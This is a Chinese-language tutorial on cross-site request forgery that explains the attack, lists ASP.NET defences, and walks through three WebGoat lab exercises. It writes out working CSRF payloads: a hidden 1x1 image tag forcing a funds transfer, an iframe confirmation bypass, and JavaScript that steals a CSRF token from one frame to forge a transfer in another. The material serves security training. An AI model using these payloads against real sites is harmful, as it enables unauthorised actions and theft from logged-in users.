2. XSRF

 

跨站請求偽造 (CSRF,Cross Site Request Forgery)

 1.介紹

          CSRF 主要的攻擊行為就是利用當使用者合法取得網站使用認證後,透過某些方式偽造網站合法使用者的身份進行非法的存取動作,合法           使用者即可能在不自覺的情況下被引導到駭客的攻擊網頁。

          CSRF和XSS類似,不過XSS 是騙取用戶的訊息,然後複製用戶身分進行攻擊 CSRF 不用獲得用戶訊息,在消息中插入,如果用戶在看這             封郵件的時候,正好登錄了 paipai,又一不小心點擊了下面這個鏈接,那麼被害者就會執行攻擊者發送的 CGI 命令 xxcgi(可能是改價删           除商品等敏感操作)

          <a href="http:\\www.paipai.com\xxcgi?xx=x;jj=j" target="_blank">點我你就中招了 </a> 或者                                                   <imgsrc="http:\\www.paipai.com\xxcgi?xx=x;jj=j" /> 前者需要用戶點擊,而後者用戶看到之後就自動發送了請求~

 

          目標:通過一個包含惡意請求的圖像利用已經驗證過的用戶身分實現惡意請求。

       原理:攻擊者盜用你的身分,以你的名義發送惡意請求。

 

 2.如何避免?

 在 ASP.NET 網站中使用的 Form 驗證模式的 FormsAuthentication 類別也是將驗證資訊產生於 Cookie 中,就會有可能發生以上的問題,所以我們必須要額外增加一些防範的方法來避免被 CSRF 攻擊,而為了避免被 CSRF 攻擊我們應該遵循以下作法:

  1. 避免使用 GET 方法傳送參數及操作新增/更新/刪除動作。
  2. 避免使用 HTTP Referer Header 來驗證來源要求者。(Referer 可以偽造)
  3. 應使用 票證(Token) 來驗證來源要求者。( SessionID + salt, 亂數值 )
  4. 使用 ViewStateUseKey 屬性驗證來源。

 

 

 

實作解題:

 

1.Cross Site Request Forgery (CSRF)

 

進去後會看到題目中說到在信中必須包含一個惡意的圖片連結,如下:

 

*html中包含圖片的方法為  <img src="URL/>

 

這邊我們按照網址 並且給予他指定的像素大小 1*1

 

<img src=’attack?Screen=52&menu=900&transferFunds=4000’ width=”1” height=”1” />

 

 

輸入完之後給予標題(title)
同時可以在下面打入原本要傳遞的正常訊息

 

 

從紅色畫線處可以看到 剛剛輸入的訊息和他的title

還有放上去的使用者


接下來我們把此訊息點開後,一種是載入此訊息並且顯示成HTML 可以使用HTTP Request 在網頁顯示上

 

另一種如果要快速解過 則是在訊息的頁面直接在上面的網址列後面加入
&transferFunds=4000

 

 輸入完後可以看左側打勾過關

 

2.繞過 CSRF 確認 (CSRF Prompt By-Pass)

 

首先 我們透過上一次的方法在上面網址列打入&transferFunds=4000

 

 

 

接下來撿查他的原始碼

 

 

可以找到如上的程式碼,接下來就可以知道在弟二題中,我們要去偽造的是這一串confirm的資訊>>>attack?Screen=5&menu=900&transferFunds=CONFIRM

 

下一步我們就要使用到<iframe>

 

 

          

使用上圖後 一樣給一個title,紅線部分事我們要做的主要事情 和網址列注意別輸入錯

輸入完後可以看到Q2

點開後可以看到兩個頁面,一個是使用者操作的,一個就是我們又再度獲得他又多轉了4000元

重新點選回到剛剛的問題即可解題完畢

 

 

3.繞過 CSRF Token (CSRF Token By-Pass)

 

根據題目的部分,我們在網址列去輸入&transferFunds=main

輸入完後可得到下圖

找到以後,用跟弟二題的方法一樣,查看網頁原始碼

找到需要資訊後,這邊我們要使用到JS的部分

var tokenvalue;

 

function readFrame1()

{

   var frameDoc = document.getElementById("frame1").contentDocument;

   var form = frameDoc.getElementsByTagName("form")[1];

   var token = form.CSRFToken.value;

   tokenvalue = '&CSRFToken='+token;

   

   loadFrame2();

}

 

function loadFrame2()

{

   var testFrame = document.getElementById("frame2");

   testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=900&transferFunds=4000"+tokenvalue;

}

然後在下面再加入剛剛弟二題使用的IFRAME



 

使用完後可以看到上面的圖

完成題目3

 

參考網站:http://www.wendangdaquan.com/Wdshow.asp?id=eca5d9c52cc58bd63186bdc8

 https://www.dotblogs.com.tw/joysdw12/archive/2013/09/16/asp-net-cross-si...

 

影片網址:https://www.youtube.com/watch?v=epOF_WLEHpY